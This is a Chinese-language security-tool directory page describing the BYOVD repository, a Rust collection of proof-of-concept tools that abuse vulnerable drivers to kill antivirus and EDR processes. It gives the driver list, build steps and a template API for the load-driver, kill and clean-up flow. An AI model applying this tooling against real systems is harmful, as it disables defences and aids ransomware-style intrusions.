Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
BYOVD — BYOVD研究用例,重点介绍易受攻击驱动程序的发现与逆向工程方法论。(CVE-2025-52915、CVE-2025-1055、CVE-2026-3609、CVE-2026-8501) | Kitploit
工具/GitHubGitHub/blacksnufkin/byovd
权限提升漏洞分析漏洞利用IDS/IPS规避逆向工程学习与教育红队
GitHubblacksnufkin/byovd

BYOVD

BYOVD研究用例,重点介绍易受攻击驱动程序的发现与逆向工程方法论。(CVE-2025-52915、CVE-2025-1055、CVE-2026-3609、CVE-2026-8501)

查看仓库
895132211个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
cropped-Aug 28, 2025, 03_39_19 PM

BYOVD 是一个 PoC 集合,演示了如何利用易受攻击的驱动程序来禁用 AV/EDR 解决方案。

该集合既包含未公开的驱动程序,也包含已在 LOLDDrivers 或 Microsoft 推荐的驱动程序阻止规则 中已有覆盖的驱动程序。


自首次被发现以来,TfSysMon 驱动程序已被添加到 LOLDrivers,并被勒索软件团伙利用 EDRKillShifter 工具滥用,相关报告见 Sophos 和 ESET


📚 目录

  • 🔍 概述
  • 🏗️ 项目结构
  • 🔧 构建
  • 📦 byovd-lib
  • 💡 PoC
  • 🔬 完整的驱动程序逆向工程流程 (x64)
  • 🔗 参考资料
  • ⚠️ 免责声明

🔍 概述

BYOVD 技术近年来在进攻性安全领域广受欢迎,尤其是随着 SpyBoy 的 Terminator(售价 3,000 美元)和 ZeroMemoryEx Blackout 项目等工具的发布。这些工具利用易受攻击的驱动程序来禁用 AV/EDR 代理,通过降低检测率来促进进一步的攻击。

本仓库包含多个为教育目的开发的 PoC,帮助研究人员理解这些驱动程序如何被滥用以终止进程。

🏗️ 项目结构

该项目组织为一个 Rust Cargo workspace。大多数 PoC 共享一个公共库(byovd-lib),用于处理样板代码:驱动程序服务生命周期、IOCTL 分发、进程监控、权限调整和清理。每个 killer 都是一个精简的二进制文件(约 50-100 行),仅定义其特定于驱动程序自身的配置。K7Terminator、Astra64-Killer、Ktapi-Killer 和 Xhunter1-Killer 是独立的 —— 它们拥有自己的 [workspace] 声明,并直接从各自的目录构建,而非通过根 workspace。``` BYOVD/ ├── Cargo.toml # Workspace root (deps + release profile) ├── Cargo.lock ├── README.md ├── LICENSE │ ├── byovd-lib/ # Shared library │ ├── Cargo.toml │ └── src/ │ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() │ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete) │ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes │ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) │ ├── process.rs # find_pid_by_name / find_all_pids_by_name │ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler │ ├── privilege.rs # enable_privilege / ensure_running_as_local_system │ └── util.rs # to_wstring / to_cstring / get_current_dir │ ├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys ├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer ├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324) ├── CcProtect-Killer/ # CnCrypt CcProtect ├── EnPortv-Killer/ # EnCase EnPortv ├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155) ├── GoFlyDrv-Killer/ # Golink GoFlyDrv ├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys ├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys ├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes ├── Ksapi64-Killer/ # Kingsoft ksapi64 ├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer ├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys ├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys ├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction) ├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501) ├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction) ├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618) ├── TfSysMon-Killer/ # ThreatFire sysmon ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) ├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm

每个 `*-Killer/` 目录都包含自己的 `Cargo.toml`、`src/main.rs`(`DriverConfig` 实现 + CLI)、`README.md`(驱动哈希 + 用法),以及二进制文件在运行时加载的对应 `.sys` 文件。

## 🔧 构建

**前置要求:** Rust 工具链,以及包含 Windows SDK 的 Visual Studio Build Tools。```bash
# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

二进制文件输出到 target/release/。运行前,请将对应的 .sys 驱动程序文件复制到与可执行文件相同的目录中。

📦 byovd-lib

byovd-lib 是所有 PoC(K7Terminator 除外)所基于的共享库。它公开了两个互补的 API——一个高级声明式 API,用于标准的“安装驱动程序、见即杀、清理”流程;以及一个低级命令式 API,适用于需要自定义流程的杀手(附加到已加载的驱动程序、扇出到多个 PID、结构化 IOCTL 缓冲区、自定义重试逻辑等)。两者可以在同一二进制文件中混合使用。

模块布局```

byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir

### 高级 API:`DriverConfig` trait + `run()`

这就是捆绑的杀手工具所使用的。实现该 trait,调用 `byovd_lib::run()`,即可完成。```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run() 执行:preflight_check → 安装服务(SERVICE_DEMAND_START)→ StartService → 即杀监控(Ctrl+C 退出)→ 停止并删除服务。

可选 trait 覆写及其默认值:

方法默认值用途
device_access()SERVICE_ALL_ACCESSCreateFileW 访问标志
skip_unload()false跳过驱动清理(例如卸载时导致 BSOD 的驱动)
ignore_ioctl_error()false将 IOCTL 失败视为成功(例如 NSecKrnl 在成功时报告错误)
ioctl_output_size()0预期的输出缓冲区大小(字节)
preflight_check()Ok(())启动前验证(例如 LocalSystem 检查)

低级 API:命令式组件

当 trait 流程不适用时——例如驱动已加载且只想触发一次 IOCTL、需要自定义重试策略、IOCTL 接受结构化输入而不仅仅是 PID,或想在所有匹配的 PID 间分发——可直接组合较低级别的组件。

驱动生命周期 —— ByovdDriver:```rust use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;

**IOCTL 分发** -- `DeviceHandle` 暴露了五种类型化形态:

| 方法 | 使用场景 |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | 输入和输出缓冲区均存在,且类型不同 |
| `ioctl_inout<T>(code, &mut data)` | 输入和输出共用同一缓冲区 |
| `ioctl_in<I>(code, &input)` | 仅输入,无输出缓冲区 |
| `ioctl_in_unchecked<I>(code, &input)` | 仅输入,忽略失败(`ignore_ioctl_error` 的按调用替代方案) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | 原始指针逃生通道 |

当 IOCTL 接收结构体(例如 `{ pid: u32, padding: [u8; 20] }`)时,类型化形态省去了手动编写 `to_ne_bytes()` / `extend_from_slice()` 样板代码的步骤。

**进程查找** -- `find_pid_by_name(name)`(首个匹配项)和 `find_all_pids_by_name(name)`(所有匹配项,排除系统 PID ≤ 4)。
下载工具